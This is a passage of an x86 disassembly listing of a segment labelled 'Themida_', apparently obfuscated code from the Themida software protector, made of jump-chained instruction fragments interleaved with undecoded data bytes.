		jmp	loc_568856
; ---------------------------------------------------------------------------
		dd 5C241487h, 0E9241C89h, 0DB38h, 5E2434FFh, 1316BE9h
		db 0
; ---------------------------------------------------------------------------


loc_56159D:				; CODE XREF: Themida_:0056BD39j
		xor	edi, ebp
		jmp	loc_56F1D6
; ---------------------------------------------------------------------------


loc_5615A4:				; CODE XREF: Themida_:00570D9Ej
		sub	edi, 67DCAA1Fh
		add	edx, edi
		pop	edi
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		not	dword ptr [esp]
		jmp	loc_571F88
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E9595A04h, 0F9A6h
; ---------------------------------------------------------------------------


loc_5615D8:				; CODE XREF: Themida_:0056879Cj
		add	ebx, 4
		push	edi
		mov	edi, 4
		jmp	loc_56ED9C
; ---------------------------------------------------------------------------
		db 1, 0FBh, 0E9h
		dd 411Fh, 2B0F1C05h, 4875F3Dh, 24248B24h, 4C481h, 0DB680000h
		dd 89000072h, 9DE9242Ch, 6600006Ch, 0E9C8B60Fh,	0EBD8h
		dd 0D80075B3h, 83241C8Bh, 0DC0404C4h, 1EEFE9h, 4C48100h
		dd 2C000000h, 0B55153CAh, 2861B7CAh, 685059EFh,	4C58h
		dd 82EEE9h, 5FFD8900h, 3DE98158h, 1057064h, 3204E9E9h
		dd 0C8B0000h, 4C48324h,	0F7564E5Dh, 1E92414h, 0FF00009Fh
		dd 8B042474h, 0C4832414h, 24048F04h, 85B1E9h, 49796800h
		dd 7AE949EFh, 50000006h, 4B8h, 0E9C30100h, 150D1h
; ---------------------------------------------------------------------------


loc_561690:				; CODE XREF: Themida_:0056A724j
		pop	ecx
		jmp	loc_56292C
; ---------------------------------------------------------------------------
		dw 885Bh
		dd 240C8BCEh, 8804C483h, 24148BF3h, 4C481h, 0E9580000h
		dd 1313Fh, 6EBDBB53h, 0DE0971C5h, 35F2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5616BD:				; CODE XREF: Themida_:00572D71j
		mov	ebp, 0A445195Dh
		sub	ebp, esi
		jmp	loc_56F4FC
; ---------------------------------------------------------------------------
		db 0BEh, 89h, 56h
		dd 0C68166E0h, 0C404C3C1h, 8DE9F031h, 9000000h,	0E9815FF9h
		dd 4D812143h, 77D8E981h, 52E9BCCEh, 8B000023h, 0C481240Ch
		dd 4, 8A3BE9h, 3E8C000h, 962CFB24h, 8058C308h, 0EB808AEBh
		dd 5BD9889Bh, 0F6048804h, 0F62CC828h, 59882Ch, 66E951D8h
		db 0D6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561723:				; CODE XREF: Themida_:0056ACADj
		add	esp, 4
		jmp	loc_571A51
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 4, 8B243C87h, 34892424h, 73C26824h, 4890000h, 73C0B824h
		dd 0C2BE412Fh, 0E9412F73h, 0E81h, 0F22A82Dh, 0E9D8011Bh
		dd 0F5B4h
; ---------------------------------------------------------------------------


loc_561760:				; CODE XREF: Themida_:00562AD2j
		add	esp, 4
		jmp	loc_56411F
; ---------------------------------------------------------------------------
		dd 31F0315Eh, 0E9F031C6h, 9CCh
; ---------------------------------------------------------------------------


loc_561774:				; CODE XREF: Themida_:00565061j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		jmp	loc_576831
; ---------------------------------------------------------------------------


loc_561793:				; CODE XREF: Themida_:00566F7Fj
		add	esp, 4
		jmp	loc_566FDA
; ---------------------------------------------------------------------------


loc_56179B:				; CODE XREF: Themida_:0056C27Ej
		push	edx
		jmp	loc_576964
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 53000000h, 0F800B9B7h, 14E84E9h
		db 0
; ---------------------------------------------------------------------------


loc_5617B1:				; CODE XREF: Themida_:005732FDj
		add	ebp, 0AF96DE47h
		jmp	loc_5753D1
; ---------------------------------------------------------------------------
		dd 0BA241489h, 6E9D7075h, 8106E2C1h, 0AD020EC2h, 0C5BAE934h
		dd 0FF510000h, 8B042474h, 0BDE9240Ch, 590000D1h, 4C281h
		dd 14870000h, 48F5C24h,	24248B24h, 1320CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5617F5:				; CODE XREF: Themida_:00575487j
		sub	al, cl
		jmp	loc_56AEF5
; ---------------------------------------------------------------------------
		dd 0EC83E789h, 241C8904h, 533C2CBBh, 83D3F713h,	0E1E901EBh
		db 52h,	1, 0
; ---------------------------------------------------------------------------


loc_561813:				; CODE XREF: Themida_:0056193Aj
		pop	ecx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5687AB
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 4152E924h, 0C7830001h, 33A6E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561852:				; CODE XREF: Themida_:00564CAAj
		add	esp, 4
		inc	edi
		push	edx
		push	13047DCDh
		pop	edx
		and	edx, 52251441h
		push	ebx
		mov	ebx, 3EA668DAh
		jmp	loc_5639F9
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 8B560000h, 83E9243Ch, 5000147h, 304E1734h, 8124348Bh
		dd 4C4h, 0D8015D00h, 61368h, 24148900h,	0E0076BAh, 62CA8122h
		dd 0E9305E30h, 39FCh, 0BD242C89h, 5C47A103h, 0E95DEF29h
		dd 9E72h, 8B5A6A04h, 0C481241Ch, 4, 3CD368h, 241C8900h
		dd 4EC81h, 0C890000h, 5241B524h, 7BE9E289h, 0B9000142h
		dd 447B17EFh, 0E628E9h,	4C48100h, 0E9000000h, 5F21h
; ---------------------------------------------------------------------------


loc_5618F8:				; CODE XREF: Themida_:005650A9j
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5716AD
; ---------------------------------------------------------------------------


loc_561906:				; CODE XREF: Themida_:00566509j
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		push	248Bh
		mov	[esp], edx
		jmp	loc_56CD08
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EAC108EAh, 3BF28104h, 314BAAA5h, 1BE95AD5h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561933:				; CODE XREF: Themida_:00569569j
		mov	[esp], ecx
		mov	cl, dl
		mov	bl, cl
		jmp	loc_561813
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 0F326851h, 24890000h, 24048324h, 0EC835904h,	24048904h
		dd 0D83EE952h, 57510000h, 6037F7BFh, 41CF8762h,	0D7F7CF87h
		dd 0C0EF814Fh, 893CE925h, 0CA895FF9h, 83240C8Bh, 0D2E904C4h
		db 0C3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561997:				; CODE XREF: Themida_:0056CDE1j
		pop	eax
		add	eax, 4
		add	eax, 4
		push	ecx
		push	esp
		pop	ecx
		push	edi
		jmp	loc_566BA8
; ---------------------------------------------------------------------------


loc_5619A9:				; CODE XREF: Themida_:00566027j
		sub	eax, 4
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_565836
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0E2E9D801h
		db 0D0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5619CB:				; CODE XREF: Themida_:00568592j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5648B4
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 1643h, 43A668h, 24048900h, 0FCE9E089h, 89000074h, 7EBA2414h
		dd 81021618h, 2C9F15EAh, 0E9D13193h, 414Dh, 0E9C68959h
		dd 13BB4h
; ---------------------------------------------------------------------------


loc_561A10:				; CODE XREF: Themida_:00574AB8j
		mov	ecx, edi
		pop	edi
		xor	esi, ecx
		pop	ecx
		jmp	loc_561AE7
; ---------------------------------------------------------------------------
		db 0B8h
		dd 22666687h, 25E912Dh,	2EE81E3h, 177DB68h, 2C681C6h, 5877DB68h
		dd 8324048Bh, 0A1E904C4h, 81000066h, 4EDh, 1404E900h, 10BA0001h
		dd 0F75BA777h, 0E9EAD1DAh, 19Ah, 8B2414F7h, 0C4832414h
		dd 31CA8104h, 814F8D0Ah, 0CD0ABBF2h, 24C3817Fh,	81146771h
		dd 9B5FF7C3h, 21D7E95Eh
		db 1, 0
; ---------------------------------------------------------------------------


loc_561A7E:				; CODE XREF: Themida_:0056BBD3j
		xor	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5695A7
; ---------------------------------------------------------------------------
		dd 4246C81h, 608A1C1Ah,	75F268h, 0F847E900h, 5A54FFFFh
		dd 4BD55h, 0EA810000h, 36D2447h, 0C281EA01h, 36D2447h
		dd 4BB535Dh, 1000000h, 3A9FE9DAh
		db 1, 0
; ---------------------------------------------------------------------------


loc_561AC6:				; CODE XREF: Themida_:005753C2j
		shl	eax, 6
		or	eax, 36DC73F5h
		jmp	loc_56A418
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC83243Ch, 0D86FE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561ADE:				; CODE XREF: Themida_:0056ED9Fj
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_573E0A
; ---------------------------------------------------------------------------


loc_561AE7:				; CODE XREF: Themida_:00561A16j
		sub	ebx, 5DFD5F1Dh
		sub	ebx, esi
		push	edi
		mov	edi, 5DFD5F1Dh
		jmp	loc_56141D
; ---------------------------------------------------------------------------
		dw 8B59h
		dd 0C4832404h, 3DC68004h, 5BC580h, 5BED80F5h, 8BE8305Ah
		dd 0C481240Ch, 4, 0E1685650h, 0E9000020h, 5FBFh, 4EC8352h
		dd 0BB241C89h, 32911FFFh, 8102EBC1h, 513497C3h,	5FE95151h
		dd 1000089h, 0FA015FFAh, 6379EA81h, 0EA817D39h,	3D376A72h
		dd 0E9D0015Fh, 66E7h, 31240433h, 4CE92404h
		db 0B1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561B63:				; CODE XREF: Themida_:0057129Aj
		pop	edi
		jmp	loc_561DD5
; ---------------------------------------------------------------------------
		dd offset dword_5A9668
		align 2
		dw 3489h
		dd 4BE24h, 0F2290000h, 99E9525Eh, 8100007Ch, 0FD6D51C5h
		dd 0EAEFE96Eh, 2D680000h, 0E93ED503h, 107A6h, 1DBCED81h
		dd 37686A6Ch, 89000008h, 11BA2414h, 811E6579h, 902774CAh
		dd 28C28128h, 2911C45Fh, 0E9015AD5h, 4BE9815Dh,	0E9171F74h
		dd 102EFh, 0EE2851B6h, 56240C8Bh, 0C681E689h, 4, 6804C683h
		dd 0AACh, 0FF243489h, 5E042474h, 5C24048Fh, 3059CE30h
		dd 45AFE9F0h, 0EAC10001h, 72AF6805h, 14890000h,	7DE1E924h
		dd 0F1BF0000h, 297D7092h, 0A112E9FDh, 0EF810000h, 54F7927Dh
		dd 0C461E32Dh, 67EE2D05h, 0F8010E21h, 67EEBB53h, 0D8010E21h
		dd 4EC815Bh, 89000000h,	0BF68241Ch, 5B532A68h, 0F924BF57h
		dd 0FB01B299h, 8BD8015Fh, 0C483241Ch, 243C8B04h, 4C481h
		dd 0C3310000h, 0B60F66h, 628A68h, 241C8900h, 0C381E389h
		dd 4, 2B951h, 0EC810000h, 4, 1488BE9h, 59CE3100h, 555EF589h
		dd 6C240481h, 5F73F340h, 406CEF81h, 0AEE973F3h,	49FFFFF8h
		dd 5959C181h, 0E9833DC6h, 0D1D9F701h, 81D1F7E9h, 7E0D51E9h
		dd 59CB019Fh, 79F3E9h, 0B4C78100h, 18797B8h, 0BA525FFBh
		dd 28CF1F19h, 1F1DF281h, 0E95728CFh, 13A53h, 12AF68h, 241C8900h
		dd 0EBB45066h, 8B66E388h, 0C4832404h, 5FE38002h, 8007EBC0h
		dd 885220CBh, 88D2F6DAh, 0E3C05AD3h, 0DAEB8005h, 5D71E9h
		dd 2D485800h, 1622EC3h,	0E958C389h, 12132h, 89240C89h
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 8EE3815Ch, 510E8F46h
		dd 3E6B40B9h, 59CB2156h, 4EC8350h, 55240C89h, 880514BDh
		dd 0DDF7452Dh, 6FED8145h, 556F729Dh, 6B243481h,	591C950Eh
		dd 0E6BF181h, 815D1C95h, 0D5BD40C1h, 8BC889DCh,	0C481240Ch
		dd 4, 2B7D68h, 0B2AEE900h, 14870000h, 48F5C24h,	5441E924h
		dd 0C2810000h, 4, 0E904C283h, 5289h, 405h, 4C08300h, 0E9240487h
		dd 92A5h, 0F2A0E9C3h, 0EA81FFFFh, 391B0FC5h, 0E3DBE9h
		db 0
; ---------------------------------------------------------------------------


loc_561DAD:				; CODE XREF: Themida_:005746A1j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_566F19
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 132F5870h, 3867EB81h, 6DE96368h
		db 22h,	1, 0
; ---------------------------------------------------------------------------


loc_561DC7:				; CODE XREF: Themida_:00572F76j
		pop	ebp
		add	edx, 14E51287h
		add	edx, ecx
		jmp	loc_56F534
; ---------------------------------------------------------------------------


loc_561DD5:				; CODE XREF: Themida_:00561B64j
		add	edi, 4
		add	edi, 4
		jmp	loc_566600
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 0D6256ECh, 6256EA2Dh, 4EC830Dh, 0FF240489h, 3C8B2434h
		dd 4C48324h, 175DE9h, 2434FF00h, 52240C8Bh, 0C281E289h
		dd 4, 4EC81h, 2EE90000h, 5D00014Ch, 488168h, 9833E900h
		dd 4BB0000h, 1000000h, 0EA835BDAh, 630E904h, 0EC810000h
		dd 4, 82C1E9h, 4C58100h, 0E9000000h, 13550h, 8108E1C1h
		dd 50F65DC1h, 543EE9C7h, 0AD660000h, 634C68h, 243C8900h
		dd 3953BF66h, 83534766h, 2C8904ECh, 0F3686624h,	2C8B665Bh
		dd 2C48324h, 2EED8166h,	0F5816660h, 8166512Eh, 0E9AC36F5h
		dd 338Bh
; ---------------------------------------------------------------------------


loc_561E94:				; CODE XREF: Themida_:0056AAE1j
		sub	dh, 33h
		or	cl, dh
		mov	edx, [esp]
		jmp	loc_5767D1
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 24048F5Ch, 0F24248Bh, 0C068C8BEh, 8900005Fh,	87E9240Ch
		dd 81FFFFF1h, 151108EAh, 81DA011Eh, 151108C2h, 0BE565B1Eh
		dd 67DE71B6h, 5236E951h, 24680000h, 89000049h, 4B82404h
		dd 1000000h, 0C8758C1h,	0EB685C24h, 8900003Ch, 4BE2434h
		dd 81000000h, 0D36F23EAh, 55F2016Dh, 0D9F8E9h, 8EEC000h
		dd 3044F680h, 0CDFE5AF5h, 8033B353h, 0ED80CDC3h, 80DD0052h
		dd 0B35B52C5h, 0C0EB80E6h, 0C380EB00h, 885059C0h, 58C688D8h
		dd 241C8B66h, 0C002C483h, 0F68004E6h, 2EC81BAh,	66000000h
		dd 51241C89h, 0CB88F188h, 0E30FE9h
		db 0
; ---------------------------------------------------------------------------


loc_561F51:				; CODE XREF: Themida_:00568A2Ej
		push	699D0A2Ch
		mov	edi, [esp]
		jmp	loc_5746F3
; ---------------------------------------------------------------------------


loc_561F5E:				; CODE XREF: Themida_:00576B2Fj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	esi, edx
		pop	edx
		jmp	loc_56DE6F
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 208525C3h, 0C581CD29h, 208525C3h, 1A57E9h
		db 0
; ---------------------------------------------------------------------------


loc_561F89:				; CODE XREF: Themida_:00569E19j
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ebp
		mov	ebp, 202907EDh
		or	ebp, 25956AB2h
		dec	ebp
		xor	ebp, 24AE3E44h
		inc	ebp
		jmp	loc_566CAA
; ---------------------------------------------------------------------------


loc_561FB3:				; CODE XREF: Themida_:00575303j
		xor	edx, ebx
		xor	ebx, edx
		xor	edx, ebx
		xor	ebx, edx
		jmp	loc_56ED13
; ---------------------------------------------------------------------------
		dd 0E56BA7B8h, 58C72155h, 34C8EF81h, 0E7C11AE2h, 0BEF8106h
		dd 81193618h, 74368CF7h, 0FB5DE903h, 0EC81FFFFh, 4, 0E9240489h
		dd 416Dh, 0EB80F300h, 40EB8092h, 12D35E9h
		db 0
; ---------------------------------------------------------------------------


loc_561FFD:				; CODE XREF: Themida_:0057289Bj
		dec	eax
		xor	eax, 1EED5C55h
		neg	eax
		jmp	loc_563088
; ---------------------------------------------------------------------------
		dw 0EB88h
		dd 8B5BDE88h, 9C68240Ch, 8900003Eh, 0E6892434h,	4C681h
		dd 79E90000h
		db 23h,	1, 0
; ---------------------------------------------------------------------------


loc_562027:				; CODE XREF: Themida_:00574233j
		not	edx
		jmp	loc_5725C5
; ---------------------------------------------------------------------------


loc_56202E:				; CODE XREF: Themida_:00569C18j
		add	ebp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		sub	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_568F84
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 17AE0B81h, 10DC0E9h,	0E9E58900h, 11F97h, 0BA241489h
		dd 0
		dd 144F5E9h, 4C08300h, 31240433h, 4332404h, 0C80F5C24h
		dd 48B468h, 24048900h, 0FFEF95E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5620AD:				; CODE XREF: Themida_:005725EAj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_56EBAC
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 685A2434h, 46CBh, 89241489h, 0A9F0E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5620DE:				; CODE XREF: Themida_:0056B9F4j
		push	781h
		mov	[esp], edi
		mov	edi, esp
		push	eax
		jmp	loc_575929
; ---------------------------------------------------------------------------


loc_5620EE:				; CODE XREF: Themida_:005758D4j
		sub	eax, 0FFFFFFFFh
		jmp	loc_56AED3
; ---------------------------------------------------------------------------
		dd 14BABF57h, 814F6FAAh, 1745D1CFh, 0CDEF8157h,	893FCE2Eh
		dd 0D389E9FDh, 0EC830000h, 24248904h, 4240481h,	5D000000h
		dd 65B85057h, 0E92C8A45h, 2489h, 23E9FD01h, 29000058h
		dd 6ED81F5h, 0E94F1A4Fh, 800h, 1D616846h, 4890000h, 7D806824h
		dd 34890000h, 835E5824h, 8E904ECh, 5200012Ch, 0C281E289h
		dd 4, 1E82BB53h, 3AE908F3h, 0FE000070h,	50D6F6CEh, 0B30CA9B0h
		dd 0C6089B34h, 8124048Bh, 4C4h,	4AF16800h, 61E90000h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56218F:				; CODE XREF: Themida_:00561050j
		push	eax
		mov	ah, 0B1h
		mov	bh, 8Eh
		xor	bh, ah
		jmp	loc_565F3D
; ---------------------------------------------------------------------------
		db 0F7h
		dd 4EFC1D7h, 8904EC83h,	0F6BA2414h, 31B085C1h, 0FD295AD7h
		dd 0E95B555Fh, 0ECE7h, 0FFC38058h, 30BCEB80h, 241C8BD8h
		dd 4C481h, 51510000h, 10E69E9h,	0E9162C00h, 132F8h
; ---------------------------------------------------------------------------


loc_5621D8:				; CODE XREF: Themida_:00562241j
		pop	edx
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esi, 0D4438B0h
		xor	esi, 731874h
		xor	esi, 5FF7008Ah
		push	ebx
		push	ecx
		mov	ecx, 5E104624h
		mov	ebx, 65728DA2h
		sub	ebx, ecx
		pop	ecx
		and	ebx, 420D518Fh
		push	edx
		jmp	loc_5671A8
; ---------------------------------------------------------------------------
		dw 2FE9h
		dd 0ACFFFFEEh, 0E904EC83h, 0C251h, 0E92424D3h, 0FFFFEE1Eh
; ---------------------------------------------------------------------------


loc_562224:				; CODE XREF: Themida_:0056D0CDj
		sub	edx, 7BA7554Dh
		push	ecx
		mov	ecx, 463859F7h
		xor	ecx, 31AA7B2Ah
		add	ecx, 0CBDC42A9h
		add	edx, ecx
		pop	ecx
		mov	eax, edx
		jmp	loc_5621D8
; ---------------------------------------------------------------------------


loc_562246:				; CODE XREF: Themida_:0056B18Ej
		mov	[esp], edx
		push	ebx
		mov	edx, [esp]
		jmp	loc_573772
; ---------------------------------------------------------------------------


loc_562252:				; CODE XREF: Themida_:005748B1j
		sub	esi, 0B070D564h
		push	esi
		pop	ebx
		pop	esi
		sub	eax, 7CD724C1h
		add	eax, ebx
		jmp	loc_56568F
; ---------------------------------------------------------------------------
		db 68h
		dd 7A176913h, 0A48BE9h,	47216800h, 0C890000h, 23BA5224h
		dd 42753979h, 0A60FC281h, 0EAC18DA2h, 57505607h, 0D8382ABFh
		dd 5FF8894Dh, 7D0568h, 24148900h, 7F14E957h, 0C1290000h
		dd 8324048Bh, 0E1D104C4h, 462AC981h, 46E94E65h,	8B0000DBh
		dd 8953241Ch, 4C381E3h,	81000000h, 4C3h, 6730E900h, 94680000h
		dd 0E92D5411h, 17D5h
; ---------------------------------------------------------------------------


loc_5622D8:				; CODE XREF: Themida_:00571A64j
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		jmp	loc_575767
; ---------------------------------------------------------------------------


loc_5622EF:				; CODE XREF: Themida_:0057526Aj
		push	esi
		mov	esi, 7B9B7897h
		and	esi, 786A2CDFh
		inc	esi
		sub	esi, 0AA24h
		xor	edi, esi
		pop	esi
		jmp	loc_565116
; ---------------------------------------------------------------------------


loc_56230A:				; CODE XREF: Themida_:0056C2B8j
		xor	ecx, 68497E00h
		mov	ebp, ecx
		jmp	loc_56F895
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481243Ch, 4, 6AF7E9h, 4C28100h, 83000000h,	2C8904ECh
		dd 4EC8324h, 89240C89h,	4C181E1h, 81000000h, 4E9h, 0E71DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56234A:				; CODE XREF: Themida_:00569346j
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		push	ebx
		mov	ebx, 321C1C0Fh
		sub	[esp+4], ebx
		jmp	loc_56425A
; ---------------------------------------------------------------------------
		dw 4935h
		dd 21490957h, 24048BC1h, 8304C483h, 0E981FFE9h,	4C500C01h
		dd 0C8BC801h, 4C48324h,	356968h, 241C8900h, 4BBh, 5BD82900h
		dd 0E9240487h, 10000h, 5BEAE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5623A6:				; CODE XREF: Themida_:00565C2Bj
		sub	edx, 62636528h
		inc	edx
		or	edx, 2DC1B4Fh
		neg	edx
		add	edx, 9EDE1C03h
		sub	eax, edx
		pop	edx
		xchg	eax, [esp]
		jmp	loc_565B63
; ---------------------------------------------------------------------------


loc_5623C6:				; CODE XREF: Themida_:0057365Fj
		push	ecx
		jmp	loc_5638C5
; ---------------------------------------------------------------------------


loc_5623CC:				; CODE XREF: Themida_:0056ABA4j
		add	dword ptr [edx], 1
		jmp	loc_566411
; ---------------------------------------------------------------------------


loc_5623D7:				; CODE XREF: Themida_:00567B8Cj
		xor	[esp], edx
		xchg	ebx, edx
		jmp	loc_56E255
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aXvs		db 'XVé¾',0
		db 1, 0, 81h
		dd 200C246Ch, 12B5955h,	810C2454h, 200C2444h, 5A2B5955h
		dd 10D14E9h
		db 0
; ---------------------------------------------------------------------------


loc_562405:				; CODE XREF: Themida_:0056CF2Cj
		mov	ecx, esp
		jmp	loc_57035A
; ---------------------------------------------------------------------------
		dd 0E680CEFEh, 5C68022h, 5AF400h, 2434FFE3h, 4C48158h
		dd 80000000h, 0C30017EBh, 8904EC83h, 17B42404h,	0F634E9h
		dd 0ACE95A00h, 29000052h, 243C8BF9h, 0FFF04FE9h, 7F6B68FFh
		dd 1C8B65FEh, 4C48324h,	0FF16E9h
		db 0
; ---------------------------------------------------------------------------


loc_562455:				; CODE XREF: Themida_:005668D7j
		push	ebx
		jmp	loc_5636BA
; ---------------------------------------------------------------------------
		db 87h
		dd 525C2404h, 0EC83F0B2h, 1173E904h, 14870001h,	38E95C24h
		db 0A7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562473:				; CODE XREF: Themida_:0057268Dj
		xor	edi, 56A53D9Dh
		add	edx, edi
		pop	edi
		jmp	loc_56677F
; ---------------------------------------------------------------------------


loc_562481:				; CODE XREF: Themida_:00569F9Dj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_568D42
; ---------------------------------------------------------------------------
		db 81h
		dd 0D46A3BCBh, 0E3C14310h, 7BB85006h, 537140Eh,	78547E51h
		dd 4D0BE9h, 70F38100h, 81241717h, 0A36489EBh, 0F8BA527Ch
		dd 0F765DA7Bh, 3CEA81D2h, 81595119h, 0DA5BCFE2h, 81D2F71Ch
		dd 334FACEAh, 37F28128h, 0E99D20BEh, 0FCCCh, 83242C8Bh
		dd 148704C4h, 57E95C24h, 54FFFFEBh, 8124048Bh, 4C4h, 0E0D4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5624FA:				; CODE XREF: Themida_:00572831j
		pop	esi
		jmp	loc_567AC0
; ---------------------------------------------------------------------------
		dd 591ABCBAh, 9DC3E940h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56250A:				; CODE XREF: Themida_:00568206j
		shr	edi, 6
		jmp	loc_56A1D8
; ---------------------------------------------------------------------------


loc_562512:				; CODE XREF: Themida_:0057423Bj
		sub	esi, 1
		jmp	loc_566A3A
; ---------------------------------------------------------------------------
		dw 1431h
		dd 24143324h, 6624248Bh, 9C2404FFh, 0FFEB15E9h,	2C481FFh
		dd 53000000h, 0CFFEF0B7h, 0CFFEC7FEh, 6B35E9h, 48F5900h
		dd 24248B24h, 0E9240431h, 1CDEh, 6569EE81h, 0D6F7356Dh
		dd 0AE84EE81h, 0EEC1E09Fh, 0E1C68104h, 0E91EE146h, 70ADh
		dd 0E9242C33h, 0EC50h, 0E8883BB5h, 53EB8059h, 70E9C300h
		dd 10000B4h, 89512404h,	4C181E1h, 81000000h, 4E9h, 0E83EE900h
		dd 0D8280000h, 0E9535304h, 0FFFFF074h, 4B8h, 8BC22900h
		dd 0C4832404h, 24148704h, 0D2EFE95Ch, 335B0000h, 0C31240Ch
		dd 240C3324h, 0FF24248Bh, 34FF2434h, 54535824h,	0EF66E9h
		dd 10EE8100h, 29261673h, 10C681C6h, 58261673h, 515EF129h
		dd 42474FFh, 24048F59h,	6624248Bh, 0E9240C89h, 0FFFFEA46h
; ---------------------------------------------------------------------------


loc_5625FC:				; CODE XREF: Themida_:00576A7Dj
		mov	ecx, ebx
		pop	ebx
		mov	edx, ecx
		jmp	loc_56123F
; ---------------------------------------------------------------------------


loc_562606:				; CODE XREF: Themida_:005642D6j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		sub	edx, 6DAF7119h
		push	ecx
		mov	ecx, 36817371h
		sub	edx, ecx
		jmp	loc_564F93
; ---------------------------------------------------------------------------
aIts0		db '‰âé0Å',0
		dd 0EE885200h, 525AF488h, 0F388E688h, 186CE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56263A:				; CODE XREF: Themida_:005645E4j
		push	edi
		push	37DB1F0Fh
		pop	edi
		mov	esi, 0F8459797h
		sub	esi, edi
		pop	edi
		xor	ecx, esi
		pop	esi
		add	ebx, 7AC914ABh
		add	ebx, ecx
		sub	ebx, 7AC914ABh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5672C3
; ---------------------------------------------------------------------------


loc_562668:				; CODE XREF: Themida_:005741ECj
		push	ebx
		jmp	loc_5720D4
; ---------------------------------------------------------------------------
		dw 0DFF7h
		dd 0EF0EF81h, 0F7812192h, 9BA8C96Dh, 2F1DE9h
		db 0
; ---------------------------------------------------------------------------


loc_562681:				; CODE XREF: Themida_:0056F090j
		sub	edx, 0DB7DADD1h
		jmp	loc_56F925
; ---------------------------------------------------------------------------
aXsa		db 'Xéí)',0
		align 2


loc_562692:				; CODE XREF: Themida_:00563600j
		pop	edx
		pop	ebx
		jmp	loc_571428
; ---------------------------------------------------------------------------
aISs9		db '‰,$é˜9',0
		dd 8BCB8900h, 60E9240Ch, 29000129h, 8B08247Ch, 0C483243Ch
		dd 0CF8E904h, 0F1890001h, 59CE015Eh, 8904EC83h,	0E589242Ch
		dd 4BF57h, 0FD010000h, 4ED835Fh, 8B242C87h, 34892424h
		dd 2474FF24h, 24348B04h, 86CCE9h
		db 0
; ---------------------------------------------------------------------------


loc_5626E9:				; CODE XREF: Themida_:0057061Bj
		pop	edi
		add	edi, 0DBBFDD87h
		push	esi
		mov	esi, edi
		mov	edx, esi
		pop	esi
		pop	edi
